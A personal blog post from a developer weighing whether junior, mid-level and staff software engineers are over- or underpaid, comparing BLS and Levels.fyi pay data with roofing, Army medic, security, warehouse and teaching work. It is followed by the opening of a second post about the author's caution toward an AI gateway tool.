Forem: Bradley Matera

The Developer Pay Paradox: Are Junior Devs, Staff Engineers and Most Developers Over- or Under-paid?

Bradley Matera — Sun, 10 May 2026 00:11:39 +0000

The software salary debate usually turns into two groups yelling past each other. One side sees a junior developer making $90k or $100k and says tech is overpaid, while the other side sees a staff engineer keeping a giant system alive and says developers are underpaid compared to the money they help companies make. Both sides can be right depending on what kind of developer they are talking about, but the conversation usually falls apart because people use one job title to describe a bunch of completely different jobs.

A junior dev building admin screens, a mid-level dev fixing production bugs, a staff engineer designing systems across teams, and an AI engineer working near model infrastructure are all technically “developers,” but they are not living in the same labor market. Some of that work is closer to skilled trade work with a keyboard, some of it is business automation work, some of it is infrastructure work, and some of it is high-scale technical decision-making where one bad call can cost a company a lot of money.

I also do not like when developers act like software is the only hard work that exists. I have been a roofer, I was a medic in the Army, I worked private security, and I have done warehouse-style work loading roofing materials onto job sites, so it is hard for me to listen to someone act like fixing a React bug is automatically harder than climbing a roof, treating people under pressure, standing a post all night, or throwing heavy material around in bad weather for less than $20 an hour.

At the same time, I do not like fake arguments that pretend software work is easy just because it is not physically brutal. A job can be easier on the body and still be valuable to a company, because the company is not paying based on how much your back hurts. The company is paying based on leverage, replacement cost, scalability, risk, and how close the work sits to money.

That is the uncomfortable part. A junior developer can do work that looks simple, like fixing a form or wiring an API call, and still get paid more than someone doing harder physical work. That does not mean the junior developer is tougher or more useful to society. It means software sits inside a business model where one small piece of work can be reused, deployed, copied, and sold again and again.

The Real Question
Why I’m Comparing These Jobs At All
The Pay Numbers That Start The Argument
Salary Comparison Graphic
Why A Junior Dev Can Make More Than People Doing Harder Work
Roofing Compared To Software Development
Army Medic Work Compared To Software Development
Private Security Compared To Software Development
Warehouse And Manual Labor Compared To Software Development
Teaching Compared To Software Development
Do Most Developers Even Do DSA?
Is Web Development Skilled Trade Work With A Keyboard?
Are Junior Developers Overpaid?
Are Mid-Level Developers Fairly Paid?
Are Staff Engineers Overpaid?
Where AI Changes The Pay Conversation
The Three Different Developer Economies
The Honest Answer
Sources

The Real Question

The real question is not “are developers overpaid?” because that question is too broad to be useful. A better question is, “overpaid compared to what, for what type of work, at what company, and under what business model?” Without those details, the argument turns into people comparing a junior web developer at a small company to a staff engineer at Google like those are the same thing.

If we compare developers to the national median worker, developers are paid a lot. If we compare developers to roofers, EMTs, paramedics, security guards, warehouse workers, construction laborers, or teachers, software pay can look insane, especially when the software job is remote and the other job is physically dangerous, emotionally heavy, or socially necessary.

If we compare developers to the money their work can generate, the answer changes. A developer working on a SaaS product, payment system, cloud platform, AI tool, ad system, internal dashboard, or automation flow can touch systems that scale to thousands, millions, or even billions of interactions. That kind of scale is why the salary conversation gets weird fast.

That is the part people miss when they only compare effort. The labor market does not pay only based on pain, danger, stress, intelligence, or how noble the job is. It mostly pays based on leverage, scarcity, replacement cost, company margins, and how close the work is to revenue.

This is why the argument feels morally wrong but economically explainable. A medic can do more socially important work than a junior web developer and still make less, because medical labor is often trapped inside public budgets, insurance structures, military pay tables, local contracts, or staffing models. Software work, especially inside product companies, can sit closer to high-margin revenue.

That does not mean the market is fair. It means the market is not built around fairness. It is built around money, risk, supply, demand, and who has the power to negotiate.

Why I’m Comparing These Jobs At All

I am not comparing software to roofing, Army medic work, private security, warehouse-style labor, and case management because I think they are all the same job. I am comparing them because I have lived enough of those worlds to know that “hard work” and “high pay” are not the same thing, and pretending they are is one of the reasons the developer pay debate gets so fake.

My own work history did not start in tech. I served as a Healthcare Specialist in the Army from 2011 to 2014, including training environments and combat-zone medical support, where the work involved triage, emergency response, medical readiness, supplies, physical exams, medication administration, and staying calm when things were unpredictable. After that, I worked roofing and roofing supply roles from 2017 to 2020, including general contracting, tear-off, shingle work, site prep, cleanup, and roof loading heavy materials onto job sites in bad weather and under tight schedules. I also worked private security, and later worked in case management with Veterans Court, Drug Court, and Mental Health Court, where documentation, communication, crisis intervention, and keeping people on track mattered every day.

I also worked at Mason County Kitten Rescue from 2020 to 2022, which was not high-paying tech work, but it taught organization, intake, care routines, training volunteers, watching for signs of distress, and doing important daily work that does not become more profitable just because it matters. Then I started moving seriously into software, contributing as a Junior Frontend Developer with CIRIS Ethical AI in 2024 by running the project locally, improving onboarding and setup documentation, adding small code changes, improving token-verification logging, fixing lint issues, improving error messages, and opening GitHub Issues to keep larger ideas tracked. In 2025, I completed an on-site AWS Cloud Support Engineer internship in Seattle, where the work included guided support rotations in training environments with no customer data, guided Juniper and Junos troubleshooting labs in Jupyter Notebooks, and a capstone serverless metadata extraction workflow using Lambda, DynamoDB, S3, and an accessible frontend deployed on AWS Amplify.

The reason that timeline matters is because none of the earlier physical or service-heavy jobs paid me over $20 an hour at the time, but they still demanded discipline, pressure management, communication, safety, documentation, and the ability to keep moving when things were not comfortable. Then tech came along and suddenly the pay ceiling was completely different, not because the work became morally superior, but because the business model changed. Software is not automatically harder than those jobs, but it can be attached to systems where the output scales in a way those jobs usually cannot.

The Pay Numbers That Start The Argument

The U.S. Bureau of Labor Statistics listed the median annual wage for software developers at $133,080 in May 2024. The same BLS page says the lowest 10 percent earned less than $79,850, while the highest 10 percent earned more than $211,450.

That number is already high compared to normal American wages. BLS listed the median annual wage for all workers at $49,500 in May 2024, which means the median software developer made about 2.7 times the median worker.

The comparison gets uncomfortable when software is placed next to jobs that are clearly hard, risky, or socially important. BLS listed roofers at $50,970, EMTs at $41,340, paramedics at $58,410, security guards at $38,370, construction laborers and helpers at $46,050, hand laborers and material movers at $37,680, and high school teachers at $64,580.

Those numbers explain why people outside tech get annoyed when developers complain about pay. A junior developer can make more than a roofer, medic, security guard, teacher, construction laborer, or warehouse worker before that junior developer is even fully useful to the team.

Levels.fyi shows even larger numbers because it tracks total compensation, not just base salary. In May 2026, Levels.fyi listed U.S. software engineer median total compensation around $191,000, with the 25th percentile around $135,000, the 75th percentile around $276,100, and the 90th percentile around $380,000.

BuiltIn shows a lower junior number than Levels.fyi, which makes sense because BuiltIn pulls from a broader mix of companies. BuiltIn lists U.S. junior software engineer average base salary around $89,847, average additional cash compensation around $10,590, and average total compensation around $100,437.

Role Or Group	Recent Pay Data	Why It Matters
All U.S. workers	$49,500 median wage	This is the broad baseline for the whole labor market.
Roofers	$50,970 median wage	This is skilled, physical, dangerous work, but the pay is close to the national median.
EMTs	$41,340 median wage	This is life-safety work, but the labor market pays it far below software.
Paramedics	$58,410 median wage	This pays more than EMT work, but still far below the median developer.
Security guards	$38,370 median wage	This is common risk-bearing work, but it pays far below software.
Construction laborers and helpers	$46,050 median wage	This is hard physical work that often pays less than many junior tech jobs.
Hand laborers and material movers	$37,680 median wage	This covers a lot of warehouse-style physical labor and shows how low that work often pays.
High school teachers	$64,580 median wage	This requires education, responsibility, and social value, but it is still below junior software pay in many cases.
Software developers	$133,080 median wage	This is where the comparison starts looking unfair to people outside tech.
U.S. software engineers on Levels.fyi	$191,000 median total comp	This includes bonus and equity, so it shows the higher end of tech more clearly.
Junior software engineers on BuiltIn	$100,437 average total comp	This is one reason people ask whether junior developers are overpaid.

The table is not saying developers have easy lives or that every developer is rich. It is showing why the discussion gets tense, because the pay gap is real and the explanation is not as simple as “developers are smarter” or “developers work harder.”

The market is not judging pay by soreness, danger, or public good. It is judging pay by how much money the company has, how scalable the output is, how hard the role is to fill, and how expensive it is when the work is done badly.

Salary Comparison Graphic

A salary comparison using recent BLS wage data, BuiltIn junior software engineer compensation, and Levels.fyi software engineer total compensation. The point is not that software is always harder. The point is that software sits closer to scalable business leverage, which changes how companies pay for the work.

Why A Junior Dev Can Make More Than People Doing Harder Work

This is the question people are really asking. Why is a junior developer who barely knows the codebase getting paid more than somebody climbing roofs, treating casualties, standing security posts, moving freight, or managing a classroom?

The answer is not that junior devs are tougher than roofers, medics, teachers, or security guards. A junior dev sitting at a desk with a laptop is not taking the same physical beating as a roofer, and they are not carrying the same kind of immediate life-and-death pressure as a medic.

The answer is also not that every junior developer is doing genius-level computer science all day. Most junior developers are not writing compilers, designing databases, or inventing new algorithms. Most are fixing bugs, building components, writing API calls, updating forms, handling validation, reading existing code, asking questions, and trying not to break the build.

The reason junior developers can still get paid more is leverage. A junior dev working on the right product can ship a small feature that thousands of customers touch, while a roofer can only roof the house, building, or section physically in front of them.

That does not make the roofer less skilled, and it does not make the medic less important. It means software output can be copied, deployed, reused, sold, and scaled in a way physical labor usually cannot.

A roofer finishes a roof and that roof exists in one place. A developer finishes a login flow, billing screen, internal automation, or API endpoint, and that work might run all day for every user the company has.

A medic treats the patient in front of them, and that work matters in a direct human way. A developer builds a system that might remove manual steps for a whole department, process thousands of payments, or prevent support tickets before they exist.

A security guard protects a site, handles access, watches patterns, and responds to incidents in one location. A developer who builds access controls, audit logs, or monitoring systems might affect every user and every employee at the company.

That is why software salaries feel disconnected from effort. The pay is not really for typing code. The pay is for building and maintaining systems that can scale past one person’s physical output.

Roofing Compared To Software Development

Roofing is one of the easiest jobs for people to underestimate because the final product looks simple. A roof keeps water out, but anyone who has actually done the work knows that a roof is only simple when you ignore everything that makes it fail.

When I think about roofing, there are about 10 things you have to actually learn before you are useful and safe. You need to understand tear-off, decking, underlayment, flashing, shingles, fasteners, ventilation, valleys, measurements, and job-site safety.

Tear-off is not just ripping old material off the roof. It is removing layers without destroying the deck, managing debris, watching for rot, keeping the site clean enough to work, and not creating a bigger problem before the new material even goes on.

Decking matters because the roof is only as good as what it is attached to. In software, this is like discovering the data model, old architecture, or legacy service is rotten underneath the feature request.

Underlayment, ice barrier, and water protection are the hidden layers most homeowners never think about. In software, those are like validation, auth checks, error handling, logging, and safe defaults, because nobody praises them when they work but everybody notices when they fail.

Flashing is where a lot of bad roofs lose. In software, the equivalent is integrations, permission boundaries, third-party APIs, weird browser behavior, and all the places where one clean system meets another messy system.

Shingles look easy from the ground, but alignment, overlap, nailing pattern, starter strips, and sequence all matter. In software, that is the repeatable pattern work, because a component, endpoint, or service should fit the system instead of being random every time.

Fasteners matter because using the wrong nail, wrong placement, or wrong pressure creates future failure. In code, that is like using the wrong dependency, weak typing, fragile state management, a bad query, or a shortcut that only works until the system changes.

Ventilation is one of those things that makes a roof fail slowly. In software, performance, caching, queues, background jobs, and infrastructure limits are the same kind of hidden system health work.

Valleys, edges, vents, chimneys, and walls are where the easy middle stops being easy. In software, the happy path is usually simple, but the edge cases, weird inputs, expired sessions, duplicate requests, broken permissions, and production-only bugs are where the real work shows up.

Measurement and material planning matter because waste costs money and bad estimates kill jobs. In software, bad estimates create missed deadlines, half-built features, rushed testing, and pressure that usually lands on the people doing the work.

Safety matters because roofing can hurt or kill you fast. Software usually will not do that to your body, but it can hurt customers, leak data, break billing, stop operations, or create business damage if the system is important enough.

Roofing Work	Software Equivalent	Why The Comparison Makes Sense
Tear off the old roof without damaging the deck	Refactor old code without breaking production	Both jobs start by removing bad or outdated layers carefully.
Inspect problem areas before quoting the job	Read requirements, logs, errors, and existing code before coding	Both jobs punish people who start swinging before understanding the problem.
Measure the roof and calculate material	Scope the feature, data model, and implementation work	Both jobs need estimating, waste control, and planning before execution.
Replace rotten plywood or damaged joists	Fix bad architecture, bad data, or broken dependencies	Both jobs reveal hidden problems once the surface layer comes off.
Install underlayment and water protection	Add validation, auth, error handling, and security checks	Both jobs need invisible protection that the customer may never notice until it fails.
Flash chimneys, walls, valleys, and vents	Handle edge cases around integrations, permissions, and weird states	Both jobs usually fail at the edges, not in the big flat middle.
Lay shingles with proper overlap and alignment	Build UI and API flows with consistent patterns	Both jobs need repeatable patterns, not random improvisation every few feet.
Cut materials around vents, walls, and valleys	Adapt code around browser quirks, API limits, and product exceptions	Both jobs require custom fitting while still following a system.
Install ventilation correctly	Design performance, caching, and operational flow	Both jobs can look fine at first and fail later if system flow is wrong.
Work safely on ladders, slopes, heat, wind, and job sites	Work safely around production data, secrets, deployments, and user impact	Both jobs have risk, but the kind of risk is different.

This is why I do not buy the argument that software work is always intellectually superior to trade work. A lot of software development is applied craft, pattern recognition, troubleshooting, repetition, and learning how to avoid known failures.

The difference is that software companies can sell the same work again and again. A roofing company cannot install the same roof on 100,000 houses with one deployment.

Army Medic Work Compared To Software Development

Medic work is another comparison that makes software pay feel strange. As a medic, especially in the Army, the job is not just knowing medical facts. It is applying training under stress, around chain of command, with imperfect information, limited time, and real consequences.

The Army describes the 68W Combat Medic Specialist role as assessing injuries, stabilizing patients, making critical medical decisions under extreme conditions, training other soldiers in first aid, and providing emergency medical treatment. That is a lot of responsibility for a role that often does not pay anywhere near what a developer makes.

Civilian pay shows the gap clearly too. BLS lists EMTs at a median annual wage of $41,340 and paramedics at $58,410, which means a junior software developer can easily make more than someone doing emergency medicine work.

This is not because the junior developer has more immediate responsibility than a medic. A junior dev might break a page or slow down a sprint, while a medic can be involved in decisions where minutes matter.

The software comparison is not about physical danger or emotional pressure. It is about decision-making inside a system, because medics and developers both work with incomplete information and need to decide what matters first.

A medic has to assess the patient, control bleeding, protect the airway, manage shock, communicate with the team, prepare evacuation, document care, and keep working under pressure. A developer has to assess the bug, isolate the failure, protect production, communicate with the team, prepare a fix, document the change, and keep working under pressure.

Those are not equal jobs. The human stakes are not the same. But the pattern is similar because both involve triage, prioritization, systems thinking, and knowing when the wrong action is worse than taking a moment to understand the problem.

Medic Work	Software Equivalent	Why The Comparison Makes Sense
Triage multiple problems under pressure	Prioritize incidents, bugs, and outages	Both jobs require deciding what matters first.
Stop bleeding before treating smaller injuries	Fix the production-breaking issue before cosmetic bugs	Both jobs need damage control before polish.
Maintain airway, breathing, and circulation	Protect uptime, data flow, and core system health	Both jobs depend on keeping the main system alive.
Work with limited information	Debug with incomplete logs or unclear reports	Both jobs rarely start with perfect information.
Communicate with chain of command or evacuation teams	Communicate with managers, product, support, and engineers	Both jobs fail when communication fails.
Track treatment and patient status	Document incident notes, fixes, and follow-up work	Both jobs need records so the next person is not blind.
Train others in basic first aid	Mentor juniors and write operational docs	Both jobs scale knowledge through training.
Stay calm when people panic	Stay calm during production issues	Both jobs punish panic and reward process.

This is why I do not like when developers exaggerate how hard coding is compared to everything else. Medic work can be more stressful, more direct, more personal, and more consequential in the moment.

The reason software pays more is not because society values medics correctly. Software pays more because companies can turn working software into repeatable revenue, while emergency medical work is often limited by public budgets, contracts, insurance systems, military pay structures, and staffing models that do not reward the worker based on the actual human value of the work.

Private Security Compared To Software Development

Private security is another job people underestimate because they picture someone just standing around. Sometimes that is what it looks like from the outside, but the actual job is staying alert when nothing is happening, noticing when something changes, handling people without escalating the situation, and being the first person blamed when something goes wrong.

BLS lists security guards at a median annual wage of $38,370 in May 2024. That is about $18.45/hour, and it is still far below what many junior developers make.

When I worked private security, the job was not technically complex the same way software is complex, but it required discipline, awareness, patience, and judgment. You had to watch access points, control entry, write incident reports, handle tense people, stay awake, stay professional, and understand when to call for help.

Software has a security version of that same thinking. A lot of development work is boring monitoring, access control, logging, reviewing permissions, checking systems, and making sure the wrong person does not get into the wrong place.

The pay difference is not because the private security worker has no value. The pay difference is because private security is often treated as a cost center, while software is often treated as a product engine or revenue multiplier.

Private Security Work	Software Equivalent	Why The Comparison Makes Sense
Control access to a site	Build authentication and authorization	Both jobs decide who gets in and what they can touch.
Watch cameras, doors, lots, and patterns	Monitor logs, dashboards, errors, and metrics	Both jobs require noticing abnormal behavior.
Write incident reports	Write bug reports, incident notes, and postmortems	Both jobs need clear records after something happens.
De-escalate tense people	Handle support escalations and production pressure calmly	Both jobs need communication under stress.
Follow post orders	Follow runbooks, deployment process, and security policy	Both jobs depend on process because memory is not enough.
Patrol and inspect areas	Review systems, endpoints, configs, and permissions	Both jobs look for problems before they become incidents.
Respond when something changes	Respond to alerts, outages, and suspicious activity	Both jobs can be quiet for hours and then serious fast.

The unfair part is that security workers are paid like replaceable labor even though bad security can cost a company a lot. Software developers are paid better because their work is closer to scalable revenue and because companies believe replacing a developer is harder than replacing a guard.

That does not mean the market is morally correct. It means the market rewards leverage more than responsibility.

Warehouse And Manual Labor Compared To Software Development

Warehouse work is another comparison that matters because a lot of people in tech have never had to do repetitive physical work for a paycheck. BLS lists hand laborers and material movers at a median annual wage of $37,680, which shows how low that work often pays compared to software.

Warehouse work can look simple if you only describe it as “moving boxes.” Software can also look simple if you only describe it as “typing code,” which is why bad descriptions are useless.

Warehouse work requires speed, accuracy, memory, scanning, staging, loading, safety, endurance, and not making mistakes that slow down everyone behind you. A bad pick, bad label, bad count, bad pallet, or bad load can create real downstream problems.

Software has the same kind of flow problem, just in a different form. A bad data migration, wrong config, bad deploy, missed environment variable, or broken API contract can hold up the whole team or create customer issues.

Warehouse Work	Software Equivalent	Why The Comparison Makes Sense
Pick the right item	Pull the right data or dependency	Both jobs fail when the wrong thing moves through the system.
Label and scan correctly	Name, type, and log data correctly	Both jobs need traceability.
Stage items in the right place	Prepare code, branches, builds, and environments correctly	Both jobs depend on sequence and organization.
Load without damaging product	Deploy without damaging production	Both jobs involve moving work safely from one state to another.
Keep pace without losing accuracy	Ship quickly without breaking quality	Both jobs punish sloppy speed.
Follow safety and workflow rules	Follow code review, testing, and deployment rules	Both jobs use process to reduce mistakes.

The difference is not that software is always harder. The difference is that software work can automate the warehouse workflow itself, reduce headcount, improve routing, change inventory systems, or improve company-wide efficiency.

That is why a developer who has never done warehouse work might make more than the warehouse worker. It is not because the developer is automatically tougher, it is because the developer may be building the system that changes how 500 warehouse workers operate.

Teaching Compared To Software Development

Teaching is one of the clearest examples of how pay does not equal social value. BLS lists high school teachers at a median annual wage of $64,580, which is above the national median but still far below software developer pay and below many junior tech offers.

A good teacher has to understand the subject, manage a room, communicate clearly, adjust to different students, track progress, deal with parents and administrators, follow standards, grade work, and keep showing up even when the system is not built to make the job easy.

That sounds a lot like developer mentorship in some ways. A senior developer who cannot explain anything clearly is less useful than a senior developer who can teach patterns, review code well, write docs, and help juniors become productive.

The difference is that teaching usually sits inside public budgets, district funding, local taxes, political fights, and credential systems. Software sits inside companies that can sell products repeatedly and use technical work to increase margins.

Teaching Work	Software Equivalent	Why The Comparison Makes Sense
Break down hard concepts	Explain systems, code, and architecture	Both jobs require turning complexity into something another person can use.
Manage different skill levels	Mentor juniors and collaborate across teams	Both jobs involve uneven experience levels.
Grade and give feedback	Review code and give actionable comments	Both jobs need feedback that improves the person, not just the output.
Follow curriculum and standards	Follow product requirements, security standards, and engineering process	Both jobs work inside constraints.
Track progress over time	Track technical debt, sprint work, and developer growth	Both jobs require long-term attention.
Handle classroom pressure	Handle meetings, incidents, and team pressure	Both jobs require communication when things get messy.

This is why the “developers are paid because they are smarter” argument falls apart. Teachers need skill, judgment, patience, communication, and subject knowledge, but their labor does not scale the same way software does.

A teacher teaches the students in front of them. A developer builds a feature once and the company can put it in front of every customer.

Do Most Developers Even Do DSA?

Most developers do not spend their normal workday implementing red-black trees, writing graph algorithms from scratch, or solving LeetCode-style dynamic programming problems. Most business software work is much more ordinary than the interview process makes it look.

That does not mean data structures and algorithms are useless. It means there is a difference between the theory that helps you think and the daily work most developers are paid to do.

Most web developers spend more time reading existing code, changing components, writing endpoints, shaping data, handling errors, fixing tests, wiring third-party services, working with databases, and pushing changes through a deployment process. That work still uses data structures, but usually in the form of arrays, objects, maps, JSON, query results, collections, queues, and state.

A roofer does not calculate structural engineering formulas all day either. That does not mean roofing has no skill. It means the job is mostly applied field knowledge, judgment, tool use, sequence, safety, and knowing what failure looks like before it happens.

A medic does not write a medical textbook during every patient interaction either. They apply training, assess the current situation, follow protocol, make decisions, communicate, and act before the situation gets worse.

A security guard is not doing legal theory all night either. They follow post orders, watch patterns, control access, de-escalate, document, and call the right people when something crosses the line.

Software is similar for most developers. The job is less “solve a puzzle from scratch” and more “change a living system without making it worse.”

The reason DSA still matters is that some jobs really do need it. Search, ranking, distributed systems, graphics, compilers, databases, high-frequency trading, AI infrastructure, embedded systems, and large-scale platform work can absolutely require deeper computer science.

The problem is that the hiring process often treats every web developer like they are applying to build a search engine. That creates a fake picture of the job, because plenty of developers make solid money doing CRUD, integrations, infrastructure, UI, testing, debugging, and maintenance.

This is part of why salary conversations get weird. A person outside tech hears that developers make six figures and assumes they must be doing advanced math all day. A person inside tech knows plenty of developers are mostly moving data from one place to another, validating it, displaying it, storing it, and making sure it does not break.

That work still matters, but it is not always the mythical version of software engineering people imagine. Most companies pay for working systems, not for how many algorithm problems someone can solve on a whiteboard.

Is Web Development Skilled Trade Work With A Keyboard?

A lot of normal software work is closer to skilled trade work than developers want to admit. Most business developers are not doing advanced algorithm research, because they are building, fixing, connecting, deploying, documenting, and maintaining systems.

That does not make the job fake or easy. Roofing is also “just putting materials on a roof” if someone wants to describe it badly, but anyone who has done it knows that a bad roof can look fine for a little while before the leak exposes every shortcut.

Software is the same way. Bad code can look fine in the demo, pass the happy path, and still fail when users hit weird inputs, network errors, bad permissions, slow queries, expired sessions, broken environment variables, or real production load.

This is where the trade comparison gets useful. A lot of web development is not elite math, but it is still skilled production work where experience matters because the edge cases are what punish you.

The same pattern shows up across roofing, medic work, security, warehouse work, teaching, and software. The public sees the visible output, but the worker knows the job is mostly about preventing the failure that nobody notices if you did it right.

In roofing, a customer might only see shingles. In software, a product manager might only see a button. The worker sees the layers under it, the ways it can fail, the shortcuts that were taken before, and the cleanup nobody budgeted time for.

That is why I think “easy job” is the wrong phrase. Some development work is physically easy, and some tickets are technically simple, but the job becomes valuable because the work lives inside a larger system with users, data, revenue, and future maintenance attached to it.

Are Junior Developers Overpaid?

Compared to roofers, EMTs, teachers, security guards, warehouse workers, construction laborers, and the national median worker, junior developers are usually overpaid in the plain social comparison sense. A junior developer making $90k to $120k while still learning the job is making more than many people who carry more physical risk, more public responsibility, or more immediate consequences.

Compared to the business model they work inside, juniors are not always overpaid. A junior who can ship small production improvements, automate annoying internal work, fix customer-facing bugs, improve documentation, and grow into a mid-level developer is not just being paid for today’s output.

The company is paying for the pipeline. Hiring a junior is partly a bet that the person will become useful enough to retain, promote, or use as a cheaper alternative to hiring only seniors.

This is also why junior hiring gets ugly when the market tightens. If companies stop wanting to invest in training, juniors suddenly look expensive because they need mentorship before they become reliably productive.

That is where the “easy job” complaint has some truth but not the whole truth. A lot of junior tickets are easy compared to roofing, medic work, or private security, but the junior is still learning how to work inside a system where small changes can create bigger problems.

So yes, juniors can be overpaid if the company expects them to be productive immediately and they are mostly being carried. But juniors can be underpaid if they are doing real production work, learning fast, getting little support, and still being treated like replaceable cheap labor.

The more honest answer is that junior pay is not about whether the current ticket is easy. It is about whether the company believes the person can become valuable before the cost of training them becomes a loss.

Are Mid-Level Developers Fairly Paid?

Mid-level developers are probably the closest thing to fairly paid in normal software work. They usually know enough to ship, debug, communicate, review code, understand production basics, and ask for help before they create a disaster.

They are not usually responsible for company-wide technical direction. They also are not usually helpless, which makes them valuable without making them as expensive as staff or principal engineers.

This level is where software starts looking most like skilled trade work. A solid mid-level developer knows the tools, knows the common failure points, knows how to estimate better than a junior, and knows when a “small change” is not actually small.

A solid roofer with a few years in the field is the same kind of person. They may not own the company or design the whole job, but they can look at a roof, understand the next steps, avoid obvious mistakes, and keep the job moving.

A solid medic is also that kind of person. They may not be the doctor, but they know how to assess the situation, act within scope, document, communicate, and keep the patient moving through the system.

A reliable security worker fits the same pattern too. They may not be writing policy, but they know the post, notice what is off, document what happened, and understand when a situation needs to move up the chain.

That is why mid-level dev compensation makes the most sense to me. They are expensive, but they are usually expensive in the same way any reliable skilled worker is expensive, with the added difference that software output can scale.

Are Staff Engineers Overpaid?

Staff engineers are where the conversation becomes almost impossible because the numbers get absurd. A Google L6 staff engineer around $580k, a Meta E6 staff engineer around $775k, and Netflix senior staff compensation near or above $1M sounds fake if you compare it to normal jobs.

But staff engineers at companies like that are not being paid to close Jira tickets. They are paid to reduce risk, set technical direction, unblock teams, review architecture, avoid expensive mistakes, and make decisions that affect systems with huge numbers of users.

That is why revenue per employee matters. NVIDIA reportedly generated around $4.4 million in revenue per employee, and Netflix was reported around $4.15 million per employee, which changes how a $700k engineer looks on a spreadsheet.

That does not mean every staff engineer deserves $700k. Some people have inflated titles, some companies hand out titles loosely, and some senior people become expensive bottlenecks instead of force multipliers.

But a real staff engineer at scale is not just a better coder. They are closer to a technical foreman, architect, incident preventer, reviewer, teacher, and risk manager combined.

That kind of work can be underpaid if it prevents huge losses. It can also be overpaid if the person mostly attends meetings, writes vague docs, and creates no real technical leverage.

The title alone does not answer the question. The value depends on the actual scope, the systems involved, and whether the person makes many other engineers and systems better.

This is the part that normal salary comparisons miss. A staff engineer at a small company and a staff engineer at a global platform can have the same title, but one might be improving internal tooling for 80 employees while the other is making architecture decisions that affect millions of users.

That is why staff pay looks fake from the outside. Sometimes it is inflated, sometimes it is justified, and sometimes it is still cheaper than the damage the wrong technical decision would cause.

Where AI Changes The Pay Conversation

AI makes this debate even harder because it lowers the floor and raises the ceiling at the same time. A junior with AI tools can ship more than a junior could a few years ago, but a weak junior can also create a bigger mess faster than before.

The boring tasks are becoming cheaper. Boilerplate, simple components, basic scripts, basic CRUD, documentation drafts, test scaffolds, and quick debugging help are all easier with tools like ChatGPT, Claude, Cursor, and Copilot.

That means companies may eventually pay less for people who only know how to produce basic code. The value is moving toward people who can understand the system, verify AI output, debug bad suggestions, protect production, think through risk, and connect technical work to business goals.

This is where staff engineers and strong mid-level developers may become even more valuable. If a company has ten juniors using AI and nobody experienced reviewing the architecture, the company did not get faster, it just created problems at higher speed.

AI does not remove the need for judgment. It makes judgment more important because the cost of producing code went down, but the cost of understanding whether that code is correct did not disappear.

This is also why junior dev pay is going to be a rough topic for a while. If a junior can use AI to ship useful work and they can explain what they are doing, their value goes up. If they use AI to produce code they cannot understand, their risk goes up.

The same thing happened in other work when tools improved. Better nail guns did not remove the need for someone who understands roofing. Better medical equipment did not remove the need for someone who can assess the patient. Better cameras did not remove the need for security judgment.

Better coding tools will not remove the need for developers who understand systems. They will probably remove some tolerance for people who only copy output and hope it works.

The Three Different Developer Economies

The software industry is not one labor market anymore. It is at least three different economies pretending to be one because all the job titles use the word developer or engineer.

The first economy is normal software work. These are the developers at small companies, local businesses, agencies, internal IT teams, healthcare companies, manufacturing companies, insurance companies, and non-tech companies where software supports the business instead of being the whole business.

The second economy is high-scale tech. These are developers at Big Tech, AI labs, high-frequency trading firms, cloud infrastructure companies, fintech platforms, and product companies where one technical decision can affect millions of users or billions of dollars in market value.

The third economy is underpaid software work. These are developers maintaining legacy systems, handling frontend, backend, support, infrastructure, deployments, and documentation while making $60k, $80k, or maybe $100k with little mentorship and no real path upward.

This is why the argument goes nowhere. Someone talking about a junior web developer at a small local company and someone talking about an L6 engineer at Google are not talking about the same job.

Both people can be telling the truth. They are just describing different worlds.

Developer Economy	Typical Work	Typical Pay Reality
Normal software work	CRUD, internal tools, websites, APIs, integrations, support, maintenance	Often $70k to $180k depending on region and company.
High-scale tech	Infrastructure, platforms, AI, distributed systems, revenue-critical products	Can reach $300k to $1M+ because the leverage is massive.
Underpaid software work	Legacy maintenance, too many hats, little support, low-budget companies	Can pay closer to $50k to $100k while still demanding broad responsibility.

This split explains why developers argue past each other. One person is talking about people making $500k and another person is talking about someone doing full-stack work for $70k at a non-tech company.

The title alone does not tell you enough. You need to know the company, the market, the revenue model, the level, the scope, the risk, and whether the person is actually creating leverage or just carrying a fancy title.

The Honest Answer

Developers are overpaid if the comparison is physical danger, social value, or visible effort. A junior developer working from home can make more than a roofer, medic, teacher, security guard, warehouse worker, or construction laborer, and I do not think developers should pretend that feels normal.

Developers are not always overpaid if the comparison is business leverage. A developer who ships a feature used by thousands of customers, prevents outages, improves performance, secures customer data, or automates expensive work can easily create more value than their salary.

Most normal developers are not doing elite computer science all day. They are doing applied software trade work, which means building, fixing, connecting, testing, deploying, documenting, and maintaining systems that break in weird ways.

That work is not magic. It is not always harder than roofing, medic work, construction, warehouse work, teaching, or security work, but it exists inside a business model where output can scale.

The cleanest answer is this: junior devs can be socially overpaid and economically reasonable at the same time, mid-level devs are often the most fairly paid group, and real staff engineers at scale can look wildly overpaid while still being underpaid compared to the money and risk they manage.

The thing I do not buy anymore is the idea that pay equals difficulty. Pay equals leverage, scarcity, company margins, negotiation power, and how close your work is to money.

That is why the junior dev making a React form can out-earn a roofer, medic, guard, teacher, or warehouse worker. It is not because the junior dev is tougher, and it is not because the other jobs are easy. It is because the software company can scale the result in a way most physical or public-service work cannot.

That does not make the market morally correct. It just explains why the numbers look broken.

Sources

BLS, Software Developers, Quality Assurance Analysts, and Testers

BLS, Roofers

BLS, EMTs and Paramedics

BLS, Security Guards and Gambling Surveillance Officers

BLS, High School Teachers

BLS, Construction Laborers and Helpers

BLS, Hand Laborers and Material Movers

BLS, Fatal Work Injury Rates, 2024

U.S. Army, 68W Combat Medic Specialist

Army COOL, 68W Combat Medic Specialist MOS Overview

DFAS, Military Pay Tables

Levels.fyi, Software Engineer Salary

BuiltIn, Junior Software Engineer Salary in US

ADP Research, The Rise and Fall of the Software Developer

Harvard Business School, Remote Work or More Pay

OnDeck, Revenue Per Employee Rankings

Why I’m Cautious About AI Gateways After My Bifrost Collaboration

Bradley Matera — Wed, 29 Apr 2026 22:41:14 +0000

My personal experience testing Maxim AI’s Bifrost gateway left me uneasy. Here’s what happened, what I learned, and why I’m putting security first in future projects.

Note: This is my personal experience and my opinion based on what happened. I am not saying every AI gateway is bad, and I am not saying every team using Bifrost is doing something wrong. I am explaining why I personally do not trust this setup right now, especially as an independent developer testing tools with real API keys.

How I got here

I was contacted about writing a paid technical article on Bifrost, Maxim AI’s open-source AI gateway.

The topic was interesting enough. Bifrost is built to sit between your application, coding agents, MCP tools, and model providers. Instead of calling OpenAI, Anthropic, Ollama, Gemini, or other providers directly from every tool, Bifrost gives you one gateway layer to route requests through.

That sounds useful on paper.

The agreement was simple: write one article, test the tool, send the draft, and get paid.

I did the work.

